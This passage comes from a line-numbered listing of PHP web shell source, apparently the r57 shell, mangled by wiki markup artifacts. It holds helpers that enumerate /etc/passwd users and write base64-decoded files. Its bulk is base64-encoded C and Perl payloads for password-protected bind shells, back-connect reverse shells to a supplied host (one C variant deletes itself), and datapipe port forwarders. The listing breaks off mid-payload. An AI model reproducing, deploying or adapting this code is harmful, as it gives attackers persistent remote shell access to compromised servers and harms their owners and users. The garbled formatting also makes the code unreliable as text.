1031 {
1032  $res = "";
1033  while(!@feof($f)) { $res .= @fread($f,1024); }
1034  @pclose($f);
1035 }
1036}
1037return $res;
1038</b></font>
1039</pre>
1040    <p>
1041      <font face="Verdana" size="-2"><b>} function get_users() {<
 >/b></font>
1042    </p>
1043    <pre class="eval">
1044<font face="Verdana" size="-2"><b> $users = array();
1045 $rows=file('/etc/passwd');
1046 if(!$rows) return 0;
1047 foreach ($rows as $string)
1048  {
1049        $user = @explode(":",$string);
1050        if(substr($string,0,1)!='#') array_push($users,$user[0]);
1051  }
1052 return $users;
1053</b></font>
1054</pre>
1055    <p>
1056      <font face="Verdana" size="-2"><b>} function we($i) { if($G
 >LOBALS{{mediawiki.external('\'language\'')}}=="ru"){ $text = '???
 >???!&nbsp;??&nbsp;????&nbsp;????????&nbsp;?&nbsp;???? '; } else {
 > $text = "{{mediawiki.external('-')}} ERROR! Can't write in file 
 >"; }</b></font>
1057    </p><font face="Verdana" size="-2"><b>echo "</b></font>
1058    <table cellpadding="0" cellspacing="0" width="100%">
1059      <tbody>
1060        <tr>
1061          <td bgcolor="#CCCCCC">
1062            <div align="center">
1063              <font color="red" face="Verdana" size="-2"><b>".$te
 >xt.$i."</b></font>
1064            </div>
1065          </td>
1066        </tr>
1067      </tbody>
1068    </table><font face="Verdana" size="-2">";</font>
1069    <p>
1070      <font face="Verdana" size="-2">return null; } function re($
 >i) { if($GLOBALS{{mediawiki.external('\'language\'')}}=="ru"){ $t
 >ext = '??????!&nbsp;??&nbsp;????&nbsp;?????????&nbsp;???? '; } el
 >se { $text = "{{mediawiki.external('-')}} ERROR! Can't read file 
 >"; }</font>
1071    </p><font face="Verdana" size="-2">echo "</font>
1072    <table bgcolor="#000000" cellpadding="0" cellspacing="0" widt
 >h="100%">
1073      <tbody>
1074        <tr>
1075          <td bgcolor="#CCCCCC">
1076            <div align="center">
1077              <font color="red" face="Verdana" size="-2"><b>".$te
 >xt.$i."</b></font>
1078            </div>
1079          </td>
1080        </tr>
1081      </tbody>
1082    </table><font face="Verdana" size="-2">";</font>
1083    <p>
1084      <font face="Verdana" size="-2">return null; } function ce($
 >i) { if($GLOBALS{{mediawiki.external('\'language\'')}}=="ru"){ $t
 >ext = "??&nbsp;???????&nbsp;??????? "; } else { $text = "Can't cr
 >eate "; }</font>
1085    </p><font face="Verdana" size="-2">echo "</font>
1086    <table bgcolor="#000000" cellpadding="0" cellspacing="0" widt
 >h="100%">
1087      <tbody>
1088        <tr>
1089          <td bgcolor="#CCCCCC">
1090            <div align="center">
1091              <font color="red" face="Verdana" size="-2"><b>".$te
 >xt.$i."</b></font>
1092            </div>
1093          </td>
1094        </tr>
1095      </tbody>
1096    </table><font face="Verdana" size="-2">";</font>
1097    <p>
1098      <font face="Verdana" size="-2">return null; } function fe($
 >l,$n) { $text{{mediawiki.external('\'ru\'')}} = array('??&nbsp;??
 >?????&nbsp;????????????&nbsp;? ftp&nbsp;???????','??????&nbsp;???
 >????????&nbsp;?? ftp&nbsp;???????','??&nbsp;???????&nbsp;????????
 >&nbsp;??????????&nbsp;?? ftp&nbsp;???????'); $text{{mediawiki.ext
 >ernal('\'eng\'')}} = array('Connect to ftp server failed','Login 
 >to ftp server failed','Can\'t change dir on ftp server');</font>
1099    </p><font face="Verdana" size="-2">echo "</font>
1100    <table bgcolor="#000000" cellpadding="0" cellspacing="0" widt
 >h="100%">
1101      <tbody>
1102        <tr>
1103          <td bgcolor="#CCCCCC">
1104            <div align="center">
1105              <font color="red" face="Verdana" size="-2"><b>".$te
 >xt{{mediawiki.external('$l')}}{{mediawiki.external('$n')}}."</b><
 >/font>
1106            </div>
1107          </td>
1108        </tr>
1109      </tbody>
1110    </table><font face="Verdana" size="-2">";</font>
1111    <p>
1112      <font face="Verdana" size="-2">return null; } function mr($
 >l,$n) { $text{{mediawiki.external('\'ru\'')}} = array('??&nbsp;??
 >?????&nbsp;?????????&nbsp;??????','??????&nbsp;??????????'); $tex
 >t{{mediawiki.external('\'eng\'')}} = array('Can\'t send mail','Ma
 >il sent');</font>
1113    </p><font face="Verdana" size="-2">echo "</font>
1114    <table bgcolor="#000000" cellpadding="0" cellspacing="0" widt
 >h="100%">
1115      <tbody>
1116        <tr>
1117          <td bgcolor="#CCCCCC">
1118            <div align="center">
1119              <font color="red" face="Verdana" size="-2"><b>".$te
 >xt{{mediawiki.external('$l')}}{{mediawiki.external('$n')}}."</b><
 >/font>
1120            </div>
1121          </td>
1122        </tr>
1123      </tbody>
1124    </table><font face="Verdana" size="-2">";</font>
1125    <p>
1126      <font face="Verdana" size="-2">return null; } function perm
 >s($mode) { if ($GLOBALS{{mediawiki.external('\'windows\'')}}) ret
 >urn 0; if( $mode &amp; 0x1000 ) { $type='p'; } else if( $mode &am
 >p; 0x2000 ) { $type='c'; } else if( $mode &amp; 0x4000 ) { $type=
 >'d'; } else if( $mode &amp; 0x6000 ) { $type='b'; } else if( $mod
 >e &amp; 0x8000 ) { $type='-'; } else if( $mode &amp; 0xA000 ) { $
 >type='l'; } else if( $mode &amp; 0xC000 ) { $type='s'; } else $ty
 >pe='u'; $owner{{mediawiki.external('\"read\"')}} = ($mode &amp; 0
 >0400)&nbsp;? 'r'&nbsp;: '-'; $owner{{mediawiki.external('\"write\
 >"')}} = ($mode &amp; 00200)&nbsp;? 'w'&nbsp;: '-'; $owner{{mediaw
 >iki.external('\"execute\"')}} = ($mode &amp; 00100)&nbsp;? 'x'&nb
 >sp;: '-'; $group{{mediawiki.external('\"read\"')}} = ($mode &amp;
 > 00040)&nbsp;? 'r'&nbsp;: '-'; $group{{mediawiki.external('\"writ
 >e\"')}} = ($mode &amp; 00020)&nbsp;? 'w'&nbsp;: '-'; $group{{medi
 >awiki.external('\"execute\"')}} = ($mode &amp; 00010)&nbsp;? 'x'&
 >nbsp;: '-'; $world{{mediawiki.external('\"read\"')}} = ($mode &am
 >p; 00004)&nbsp;? 'r'&nbsp;: '-'; $world{{mediawiki.external('\"wr
 >ite\"')}} = ($mode &amp; 00002)&nbsp;? 'w'&nbsp;: '-'; $world{{me
 >diawiki.external('\"execute\"')}} = ($mode &amp; 00001)&nbsp;? 'x
 >'&nbsp;: '-'; if( $mode &amp; 0x800 ) $owner{{mediawiki.external(
 >'\"execute\"')}} = ($owner{{mediawiki.external('\'execute\'')}}==
 >'x')&nbsp;? 's'&nbsp;: 'S'; if( $mode &amp; 0x400 ) $group{{media
 >wiki.external('\"execute\"')}} = ($group{{mediawiki.external('\'e
 >xecute\'')}}=='x')&nbsp;? 's'&nbsp;: 'S'; if( $mode &amp; 0x200 )
 > $world{{mediawiki.external('\"execute\"')}} = ($world{{mediawiki
 >.external('\'execute\'')}}=='x')&nbsp;? 't'&nbsp;: 'T'; $s=sprint
 >f("%1s", $type); $s.=sprintf("%1s%1s%1s", $owner{{mediawiki.exter
 >nal('\'read\'')}}, $owner{{mediawiki.external('\'write\'')}}, $ow
 >ner{{mediawiki.external('\'execute\'')}}); $s.=sprintf("%1s%1s%1s
 >", $group{{mediawiki.external('\'read\'')}}, $group{{mediawiki.ex
 >ternal('\'write\'')}}, $group{{mediawiki.external('\'execute\'')}
 >}); $s.=sprintf("%1s%1s%1s", $world{{mediawiki.external('\'read\'
 >')}}, $world{{mediawiki.external('\'write\'')}}, $world{{mediawik
 >i.external('\'execute\'')}}); return trim($s); } function in($typ
 >e,$name,$size,$value) {</font>
1127    </p>
1128    <pre class="eval">
1129<font face="Verdana" size="-2">$ret = "&lt;input type=".$type." n
 >ame=".$name." ";
1130if($size != 0) { $ret .= "size=".$size." "; }
1131$ret .= "value=\"".$value."\"&gt;";
1132return $ret;
1133</font>
1134</pre>
1135    <p>
1136      <font face="Verdana" size="-2">} function which($pr) { $pat
 >h = ex("which $pr"); if(!empty($path)) { return $path; } else { r
 >eturn $pr; } } function cf($fname,$text) {</font>
1137    </p>
1138    <pre class="eval">
1139<font face="Verdana" size="-2">$w_file=@fopen($fname,"w") or we($
 >fname);
1140if($w_file)
1141{
1142@fputs($w_file,@base64_decode($text));
1143@fclose($w_file);
1144}
1145</font>
1146</pre>
1147    <p>
1148      <font face="Verdana" size="-2">} function sr($l,$t1,$t2)</f
 >ont>
1149    </p>
1150    <pre class="eval">
1151<font face="Verdana" size="-2">{
1152</font>
1153</pre><font face="Verdana" size="-2">return "".$t1."".$t2."";</fo
 >nt>
1154    <pre class="eval">
1155<font face="Verdana" size="-2">}
1156</font>
1157</pre>
1158    <p>
1159      <font face="Verdana" size="-2">if (!@function_exists("view_
 >size")) { function view_size($size) {</font>
1160    </p>
1161    <pre class="eval">
1162<font face="Verdana" size="-2">if($size &gt;= 1073741824) {$size 
 >= @round($size / 1073741824 * 100) / 100 . " GB";}
1163elseif($size &gt;= 1048576) {$size = @round($size / 1048576 * 100
 >) / 100 . " MB";}
1164elseif($size &gt;= 1024) {$size = @round($size / 1024 * 100) / 10
 >0 . " KB";}
1165else {$size = $size . " B";}
1166return $size;
1167</font>
1168</pre>
1169    <p>
1170      <font face="Verdana" size="-2">} }</font>
1171    </p>
1172    <pre class="eval">
1173<font face="Verdana" size="-2"> function DirFilesR($dir,$types=<i
 >>)</i>
1174 {
1175   $files = Array();
1176   if(($handle = @opendir($dir)))
1177   {
1178     while (false !== ($file = @readdir($handle)))
1179     {
1180       if ($file != "." &amp;&amp; $file != "..")
1181       {
1182         if(@is_dir($dir."/".$file))
1183           $files = @array_merge($files,DirFilesR($dir."/".$file,
 >$types));
1184         else
1185         {
1186           $pos = @strrpos($file,".");
1187           $ext = @substr($file,$pos,@strlen($file)-$pos);
1188           if($types)
1189           {
1190             if(@in_array($ext,explode(';',$types)))
1191               $files[] = $dir."/".$file;
1192           }
1193           else
1194             $files[] = $dir."/".$file;
1195         }
1196       }
1197     }
1198     @closedir($handle);
1199   }
1200   return $files;
1201 }
1202 class SearchResult
1203 {
1204   var $text;
1205   var $FilesToSearch;
1206   var $ResultFiles;
1207   var $FilesTotal;
1208   var $MatchesCount;
1209   var $FileMatschesCount;
1210   var $TimeStart;
1211   var $TimeTotal;
1212   var $titles;
1213   function SearchResult($dir,$text,$filter=<i>)</i>
1214   {
1215     $dirs = @explode(";",$dir);
1216     $this-&gt;FilesToSearch = Array();
1217     for($a=0;$a&lt;count($dirs);$a++)
1218       $this-&gt;FilesToSearch = @array_merge($this-&gt;FilesToSe
 >arch,DirFilesR($dirs[$a],$filter));
1219     $this-&gt;text = $text;
1220     $this-&gt;FilesTotal = @count($this-&gt;FilesToSearch);
1221     $this-&gt;TimeStart = getmicrotime();
1222     $this-&gt;MatchesCount = 0;
1223     $this-&gt;ResultFiles = Array();
1224     $this-&gt;FileMatchesCount = Array();
1225     $this-&gt;titles = Array();
1226   }
1227   function GetFilesTotal() { return $this-&gt;FilesTotal; }
1228   function GetTitles() { return $this-&gt;titles; }
1229   function GetTimeTotal() { return $this-&gt;TimeTotal; }
1230   function GetMatchesCount() { return $this-&gt;MatchesCount; }
1231   function GetFileMatchesCount() { return $this-&gt;FileMatchesC
 >ount; }
1232   function GetResultFiles() { return $this-&gt;ResultFiles; }
1233   function SearchText($phrase=0,$case=0) {
1234   $qq = @explode(' ',$this-&gt;text);
1235   $delim = '|';
1236     if($phrase)
1237       foreach($qq as $k=&gt;$v)
1238         $qq[$k] = '\b'.$v.'\b';
1239     $words = '('.@implode($delim,$qq).')';
1240     $pattern = "/".$words."/";
1241     if(!$case)
1242       $pattern .= 'i';
1243     foreach($this-&gt;FilesToSearch as $k=&gt;$filename)
1244     {
1245       $this-&gt;FileMatchesCount[$filename] = 0;
1246       $FileStrings = @file($filename) or @next;
1247       for($a=0;$a&lt;@count($FileStrings);$a++)
1248       {
1249         $count = 0;
1250         $CurString = $FileStrings[$a];
1251         $CurString = @Trim($CurString);
1252         $CurString = @strip_tags($CurString);
1253         $aa = <i>;</i>
1254         if(($count = @preg_match_all($pattern,$CurString,$aa)))
1255         {
1256           $CurString = @preg_replace($pattern,"<span style="colo
 >r: #990000;">&lt;b&gt;\\1&lt;/b&gt;</span>",$CurString);
1257           $this-&gt;ResultFiles[$filename][$a+1] = $CurString;
1258           $this-&gt;MatchesCount += $count;
1259           $this-&gt;FileMatchesCount[$filename] += $count;
1260         }
1261       }
1262     }
1263     $this-&gt;TimeTotal = @round(getmicrotime() - $this-&gt;Time
 >Start,4);
1264   }
1265 }
1266 function getmicrotime()
1267 {
1268   list($usec,$sec) = @explode(" ",@microtime());
1269   return ((float)$usec + (float)$sec);
1270 }
1271</font>
1272</pre>
1273    <p>
1274      <font face="Verdana" size="-2">$port_bind_bd_c="I2luY2x1ZGU
 >gPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5
 >cGVzLmg+DQojaW5jbHVkZS A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGlu
 >ZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2K
 >Q0KaW50I GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld
 >2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt b3RlO
 >w0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU
 >5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 pKGFyZ3ZbMV0pKTsNCi
 >ByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHN
 >vY2tmZCA9IHNvY2tldChBRl9JTkVULF NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2N
 >rZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1
 >Y3Qgc29ja2FkZHIgK ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1
 >KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7D
 >Qog ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIob
 >mV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk 7DQogICByZ
 >WFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2Wz
 >JdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 9tZSB0byByNTcgc2hlbGwgJi
 >YgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29
 >ycnkiKTsNCiAgIGNsb3NlKG5ld 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3M
 >oY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8
 >c3RybGVuKGVu dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicp
 >DQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp l
 >bnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpD
 >QpyZXR1cm4gMDsNCn0="; $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU
 >0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH
 >0NCiRMS VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2
 >w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs JlNPQ0
 >tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI
 >7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV TRUFERFIsMSk7DQpiaW5
 >kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUg
 >IkNhbnQgb3BlbiBwb3J0XG4iOw0KbG lzdGVuKFMsMykgfHwgZGllICJDYW50IGxp
 >c3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoI
 >SgkcGlkPWZvcmspK Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkI
 >CRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk
 >4i Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcH
 >JpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N lIENPTk47DQ
 >pleGl0IDA7DQp9DQp9"; $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU
 >29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYW
 >AiO2Vj aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1
 >ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR hcmdldC
 >kgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J
 >0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT sNCiRwcm90bz1nZXRwcm9
 >0b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NU
 >UkVBTSwgJHByb3RvKSB8fCBkaWUoI kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNP
 >Q0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOL
 >CAiPiZTT0NLRVQi KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU
 >1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURE
 >l OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_conne
 >ct_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0
 >KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC BtYWluKGludCBhcmdjLCBjaGF
 >yICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47
 >DQogY2hhciBybXNbMjFdPSJyb SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4u
 >c2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRva
 >Shhcmd2WzJd KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhc
 >md2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ sZ
 >W4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTS
 >wgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC Aoc3RydWN0IHNvY2
 >thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICA
 >gcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D QogICBleGl0KDApOw0KIH0NCiBzdHJ
 >jYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDAp
 >Ow0KIGR1cDIoZmQsIDEp Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3No
 >Iiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; $datapipe_c="I
 >2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCi
 >NpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 x1ZGUgPG5ldGluZXQvaW4uaD4NCi
 >NpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGU
 >gPGVycm5vLmg+DQojaW5jb HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGI
 >uaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4
 >dGVybiBj aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsN
 >CmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ lcnJv
 >cihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lc
 >nIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm xpc3RbZXJyb3JdOw0Kf
 >Q0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KIC
 >BjaGFyICoqYXJndjsgIA0KeyANCiAga W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQ
 >ogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2t
 >hZGRyX2luIGxhZGRy LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHN
 >pemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9z
 >dGV udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1
 >bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow 0KDQogIGlm
 >IChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY
 >2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb iIsYXJndlswXSk7DQogICAgc
 >mV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmIC
 >ghKGggPSBnZXRob3N0YnluYW1l KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2
 >V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3Z
 >bM10pOw0KICA gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndls
 >yXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS h
 >hdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwg
 >U09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC iAgICBwZXJyb3Io
 >InNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFta
 >Wx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh ZGRyLnNpbl9hZGRyLnNfYWRkciA9I
 >Gh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZH
 >IpKSkgew0KICAgIHBlcnJ vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ
 >0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik
 >7DQogIC AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
 >gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D QogIH0
 >NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAg
 >d2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh ZGRyLCAmY2FkZHJsZW4p
 >KSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgI
 >GlmICgobmJ5dCA9IGZvcmsoKSkgPT0 gLTEpIHsNCiAgICAgIGZwcmludGYoY2Zpb
 >GUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaH
 >V0ZG93bihjc29jay wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb2
 >50aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ29
 >0c 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0
 >xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy MDsNCg0KIGd
 >vdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJF
 >QU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA gICBmcHJpbnRmKGNmaWxlLCAi
 >NTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxd
 >Wl0MTsNCiAgfQ0KICBvYWRkci 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNC
 >iAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZH
 >Iuc2luX2FkZ HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubm
 >VjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu dG
 >YoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQo
 >gICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 KICAgIEZEX1pFUk8
 >oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywm
 >ZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC ZmZHNlKTsNCiAgICBGRF9TRVQob3Nv
 >Y2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlb
 >GVjdCgyMCwgJmZkc3IsI E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgI
 >CAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcn
 >Jubykp Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0
 >VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs NCiAgIC
 >AgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8
 >gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG J1ZixuYnl0KSkgPD0gMCk
 >NCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZk
 >c3IpIHx8IEZEX0lTU0VUKG9zb2NrL CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0
 >ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgI
 >CAgIGlmICgod3Jp dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpd
 >DI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQ
 >o gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2
 >h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm lsZSk7DQogIH
 >JldHVybiAwOw0KfQ=="; $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU
 >86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiR
 >ob3N0I CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiR
 >kYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl bW9uKXs
 >gJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmlu
 >ZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU gIiQhIjsgfQ0KJW8gPSAo
 >J3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgP
